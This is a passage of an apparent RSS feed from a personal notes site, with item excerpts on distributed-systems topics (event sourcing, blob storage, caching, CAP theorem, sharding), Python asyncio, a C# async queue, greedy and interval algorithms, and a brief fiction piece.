&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#111"&gt;Write&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;T&lt;/span&gt; &lt;span style="color:#111"&gt;item&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_items&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Enqueue&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;item&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Store the data.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;_semaphore&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Release&lt;/span&gt;&lt;span style="color:#111"&gt;();&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Notify any consumers that more data is available.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#111"&gt;ValueTask&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;T&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;ReadAsync&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;CancellationToken&lt;/span&gt; &lt;span style="color:#111"&gt;ct&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;default&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;await&lt;/span&gt; &lt;span style="color:#111"&gt;_semaphore&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;WaitAsync&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;ct&lt;/span&gt;&lt;span style="color:#111"&gt;).&lt;/span&gt;&lt;span style="color:#111"&gt;ConfigureAwait&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;false&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Wait for data to be available.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;bool&lt;/span&gt; &lt;span style="color:#111"&gt;gotOne&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;_items&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;TryDequeue&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;out&lt;/span&gt; &lt;span style="color:#111"&gt;T&lt;/span&gt; &lt;span style="color:#111"&gt;item&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Debug&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Assert&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;gotOne&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;item&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Toub2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Distributed Systems Potpourri</title><link>https://www.curiosities.dev/computer-science/distributed-systems/potpourri/</link><pubDate>Tue, 21 Jul 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/potpourri/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Contains content that is not extensive enough for its own page.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="streams-and-event-sourcing"&gt;Streams and Event Sourcing&lt;/h2&gt;
&lt;p&gt;Unlike 
&lt;a href="https://www.curiosities.dev/computer-science/distributed-systems/distributing-work/#queue"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 message queues
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, streams
can retain data for a configurable period of time, allowing consumers to read
and re-read messages from a specified time. You can use a stream to ingest high
volumes of events in real-time, e.g., real-time analytics of user engagements in
social media. &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Event sourcing&lt;/strong&gt; involves storing changes in application state as a sequence
of events. These events can be replayed to reconstruct the system&amp;rsquo;s state at any
point in time. The technique is useful for systems that require a detailed audit
trail, e.g., a banking system, where every transaction (deposits, withdrawals,
transfers) need to be recorded and may affect multiple accounts. &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Blob Storage</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/blob-storage/</link><pubDate>Tue, 14 Jul 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/blob-storage/</guid><description>&lt;h2 id="blob-storage"&gt;Blob Storage&lt;/h2&gt;
&lt;p&gt;Unstructured blobs of data include images, videos, and other files. Typically,
these are stored in blob storage, and the core database stores metadata, e.g.,
blob URL. &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/distributed-systems/blob-storage-typical-design.svg"
 alt="Common setup for large binary artifacts. Credits: Hello Interview."&gt;&lt;figcaption&gt;
 &lt;p&gt;Common setup for large binary artifacts. Credits: Hello Interview.&lt;/p&gt;
 &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Blob storage solutions like S3 can be considered infinitely scalable within your
account limits. They are also cost effective, e.g., AWS S3 charges $0.023 per GB
per month for the first 50TB, compared to AWS DynamoDB that charges $1.25 per GB
per month for the first 10TB of storage. &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>System Design Practice: Metrics Monitoring System</title><link>https://www.curiosities.dev/computer-science/distributed-systems/metrics-monitoring/</link><pubDate>Wed, 08 Jul 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/metrics-monitoring/</guid><description>&lt;h2 id="functional-requirements"&gt;Functional Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;FR1: Platform can ingest metrics (CPU, memory, latency, custom counters) from
services.&lt;/li&gt;
&lt;li&gt;FR2: Users can query and visualize metrics on dashboards with filters,
aggregations, and time ranges.&lt;/li&gt;
&lt;li&gt;FR3: Users can define alert rules with thresholds over time windows, e.g.,
&amp;ldquo;alert if P99 latency &amp;gt; 500ms for 5min&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;FR4: Users can receive notifications when alerts fire, e.g., email, Slack.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Mai2026"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Scale: 500K servers, 5M metrics per second, ~1GB/s raw ingestion. &lt;span class="citation-ref"&gt;&lt;a href="#Mai2026"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>High Performance Networking in Chrome</title><link>https://www.curiosities.dev/computer-science/www/high-perf-networking-in-chrome/</link><pubDate>Sat, 04 Jul 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/high-perf-networking-in-chrome/</guid><description>&lt;h2 id="performance-in-context"&gt;Performance in Context&lt;/h2&gt;
&lt;p&gt;The execution of a web browser primarily involves three tasks: fetching
resources, page layout and rendering, and JavaScript execution. That said,
optimizing the last two tasks won&amp;rsquo;t do much good if the browser is blocked on
the network, waiting for resources to arrive. &lt;span class="citation-ref"&gt;&lt;a href="#Grigorik2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Of the top 100K, the median page on desktop requests 97 resources weighing
2,954KB in total, and makes 16 TCP connections &lt;span class="citation-ref"&gt;&lt;a href="#StateOfTheWebTop1M"&gt;&lt;/a&gt;&lt;/span&gt;.
While the underlying transport (TCP) is optimized for large, streaming
downloads, most network transfers in the browser are short and bursty. &lt;span class="citation-ref"&gt;&lt;a href="#Grigorik2013"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Uri Tupka and the Gods</title><link>https://www.curiosities.dev/fiction/uri-tupka-and-the-gods/</link><pubDate>Thu, 02 Jul 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/uri-tupka-and-the-gods/</guid><description>&lt;p&gt;BISHOP 1. Your damned letter to the Emperor &amp;ndash; &lt;br/&gt; URI TUPKA. How could I not?
When he commissioned a giant goat statue &amp;ndash; a hundred feet tall and solid
gold&amp;hellip;? &lt;br/&gt; BISHOP 1. And didn&amp;rsquo;t we warn you what would happpen? Didn&amp;rsquo;t we
&lt;strong&gt;all&lt;/strong&gt; warn you? &lt;br/&gt; It was only to remind him. &lt;strong&gt;Scripture.&lt;/strong&gt; Theodipus 6:19
&amp;ndash; &amp;ldquo;And all men shall be equal to each other under the eyes of the gods, even as
&lt;strong&gt;all the gods&lt;/strong&gt;, like leaves of grass, &lt;strong&gt;shall be equal to each other&lt;/strong&gt;. &lt;br/&gt;
&lt;span class="citation-ref"&gt;&lt;a href="#UriTupka01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AsyncIO in Python</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/async-io-py/</link><pubDate>Sun, 07 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/resource-management/async-io-py/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Only covers the high level building blocks of &lt;code&gt;asyncio&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#PyAsyncIO"&gt;&lt;/a&gt;&lt;/span&gt;
has a second section on how &lt;code&gt;asyncio&lt;/code&gt; and &lt;code&gt;await&lt;/code&gt; internally work.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="the-event-loop"&gt;The Event Loop&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;event loop&lt;/strong&gt; contains a collection of jobs to be run. Some jobs are added
by application code, and others indirectly by &lt;code&gt;asyncio&lt;/code&gt;. The event loop takes a
job from its backlog and invokes it (&amp;ldquo;gives it control&amp;rdquo;). Once that job pauses
or completes, it returns control to the event loop which then selects another
job from the backlog and invokes it. When there are no jobs to be done, the
event loop rests (doesn&amp;rsquo;t waster CPU cycles) and comes back when more jobs are
enqueued.&lt;/p&gt;</description></item><item><title>API Design</title><link>https://www.curiosities.dev/computer-science/distributed-systems/api-design/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/api-design/</guid><description>&lt;h2 id="notes"&gt;Notes&lt;/h2&gt;
&lt;p&gt;For 90% of interviews, default to REST, which maps resources to URLs and uses
HTTP methods to manipulate them, e.g., &lt;code&gt;POST /events/{id}/bookings&lt;/code&gt; for creating
a booking. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When returning large result sets, pagination comes into play. Cursor-based
pagination works better for real-time data where new items get added frequently.
Offset-based pagination is fine for most cases. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;How does cursor-based pagination beat offset-based pagination for new additions?
Aren&amp;rsquo;t new additions invisible to inflight paginations?&lt;/p&gt;</description></item><item><title>Caching</title><link>https://www.curiosities.dev/computer-science/distributed-systems/caching/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/caching/</guid><description>&lt;h2 id="notes"&gt;Notes&lt;/h2&gt;
&lt;p&gt;For read-heavy applications, storing frequently accessed data in fast memory
(e.g., Redis) allows you to skip the DB entirely for some reads. A cache hit on
Redis takes ~1ms compared to 20-50ms for a typical DB query, and this speedup is
impactful in the order of millions of requests. In a web application, user
sessions are typically stored in a distributed cache, allowing the system to
quickly retrieve the data when a user makes a request. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>CAP Theorem</title><link>https://www.curiosities.dev/computer-science/distributed-systems/cap-theorem/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/cap-theorem/</guid><description>&lt;h2 id="notes"&gt;Notes&lt;/h2&gt;
&lt;p&gt;The CAP theorem states that you can only have 2 of 3 properties at once:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Consistency: All nodes see the same data.&lt;/li&gt;
&lt;li&gt;Availability: Every request gets a response.&lt;/li&gt;
&lt;li&gt;Partition Tolerance: System works even when network connections fail between
nodes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In practice, network partitions are unavoidable in distributed system. Choosing
consistency means some nodes will refuse to serve requests rather than return
potentially stale data. Choosing availability means different nodes might
temporarily have different data. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Data Modeling</title><link>https://www.curiosities.dev/computer-science/distributed-systems/data-modeling/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/data-modeling/</guid><description>&lt;h2 id="data-modeling"&gt;Data Modeling&lt;/h2&gt;
&lt;p&gt;Choosing what data to store and how to structure it directly affects
performance, scalability, and maintenance. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Relational databases are useful when you have structured data with clear
relationships and need strong consistency (transaction-based actions, enforcing
foreign key constraints). NoSQL databases shine for flexible schemas or when you
need to scale horizontally across many servers without complex joins. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;That said, the overlap between relational DBs and NoSQL ones is substantial, so
focus on the DB that your using and how it helps solve the problem at hand,
e.g., NoSQL DBs can express relationships too, SQL DBs can have JSON columns
with flexible schemas, etc. &lt;span class="citation-ref"&gt;&lt;a href="#KeyTechnologiesSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Distributing Work</title><link>https://www.curiosities.dev/computer-science/distributed-systems/distributing-work/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/distributing-work/</guid><description>&lt;h2 id="sharding"&gt;Sharding&lt;/h2&gt;
&lt;p&gt;Sharding comes up when a single database won&amp;rsquo;t work (e.g., hit storage limits,
write throughput limits, or read throughput limits) and you need to split your
data across multiple independent servers. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For a user-centric social media app, sharding by &lt;code&gt;user_id&lt;/code&gt; means all of a user&amp;rsquo;s
posts, likes, and comments live on one shard. User-scoped queries are fast, but
&amp;ldquo;trending posts across all users&amp;rdquo; become expensive because of hitting every
shard and aggregating results. Mutating transations need to account for the
distributed nature of the shards, making them complex and slow. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Greedy Algorithms</title><link>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/greedy-algorithms/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/algorithms-and-data-structures/greedy-algorithms/</guid><description>&lt;h2 id="sample-problem"&gt;Sample Problem&lt;/h2&gt;
&lt;p&gt;You are given two integer arrays:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;greeds&lt;/code&gt;, where &lt;code&gt;greeds[i]&lt;/code&gt; represents the minimum size of a cookie that a
child needs to to be satisfied.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cookies&lt;/code&gt;, where &lt;code&gt;cookies[j]&lt;/code&gt; represents the size of a cookie.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Assign cookies such that as many children as possible are satisfied. Each child
can receive at most one cookie, and each cookie can be given to only one child.
&lt;span class="citation-ref"&gt;&lt;a href="#GreedyAlgorithmsHelloInterview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="a-greedy-algorithm"&gt;A Greedy Algorithm&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;num_satisfied_children&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;greeds&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;List&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;],&lt;/span&gt; &lt;span style="color:#111"&gt;cookies&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;List&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;])&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;greeds&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sort&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;cookies&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sort&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;g_idx&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;c_idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;g_idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;len&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;greeds&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#111"&gt;c_idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;len&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;cookies&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;cookies&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;c_idx&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;greeds&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;g_idx&lt;/span&gt;&lt;span style="color:#111"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;g_idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;c_idx&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#GreedyAlgorithmsHelloInterview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Networking Essentials</title><link>https://www.curiosities.dev/computer-science/distributed-systems/networking-essentials/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/networking-essentials/</guid><description>&lt;h2 id="notes"&gt;Notes&lt;/h2&gt;
&lt;p&gt;At a basic level, understand how services talk to each other and what happens
when those connections fail or get slow. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For 90% of the use cases, default to HTTP over TCP. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;WebSockets and Server-Sent Events (SSE) come up when you need real-time updates.
SSE is unidirectional - the client makes an initial HTTP request to open the
connection, and the server pushes data down that connection. WebSockets handle
bidirectional communication where both sides send messages freely. &lt;span class="citation-ref"&gt;&lt;a href="#CoreConceptsSysDesign"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Of [Non]Overlapping Intervals</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/overlapping-intervals/</link><pubDate>Sat, 06 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/sorting-and-searching/overlapping-intervals/</guid><description>&lt;p&gt;&lt;span class="tag-ref"&gt;&lt;a href="https://www.curiosities.dev/tags/intervals-algorithms"&gt;#intervals-algorithms&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="merge-overlapping-intervals"&gt;Merge Overlapping Intervals&lt;/h2&gt;
&lt;h3 id="problem-statement-merge-overlapping-intervals"&gt;Problem Statement: Merge Overlapping Intervals&lt;/h3&gt;
&lt;p&gt;Given an integer array &lt;code&gt;intervals&lt;/code&gt; where &lt;code&gt;intervals[i] = [start_i, end_i]&lt;/code&gt;,
merge all overlapping intervals and return an array of the non-overlapping
intervals. For example \([[1,3],[2,6],[8,10],[15,18]] \to
[[1,6],[8,10],[15,18]]\) because \([1,3]\) and \([2,6]\) overlap and merge
into \([1,6]\). &lt;span class="citation-ref"&gt;&lt;a href="#LCMergeIntervals"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 id="solution-sort-by-start-time-and-then-linear-scan"&gt;Solution: Sort by Start Time and then Linear Scan&lt;/h3&gt;
&lt;p&gt;Like 
&lt;a href="https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/strings-and-1d-arrays/min-size-subarray-sum/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Minimum Size Subarray Sum
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, contiguity hints at a linear scan being useful. If we sort &lt;code&gt;intervals&lt;/code&gt; by
&lt;code&gt;start&lt;/code&gt;, then it&amp;rsquo;s a matter of starting at some &lt;code&gt;intervals[i]&lt;/code&gt; and expanding
until some &lt;code&gt;intervals[j]&lt;/code&gt;, \(j &amp;gt; i\) is no longer overlapping.&lt;/p&gt;</description></item><item><title>Print Zero Even Odd</title><link>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-zero-even-odd/print-zero-even-odd/</link><pubDate>Fri, 05 Jun 2026 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/leet-code-and-others/concurrency/print-zero-even-odd/print-zero-even-odd/</guid><description>&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;printNumber(7)&lt;/code&gt; prints &lt;code&gt;7&lt;/code&gt; to the console. You are given an instance of the
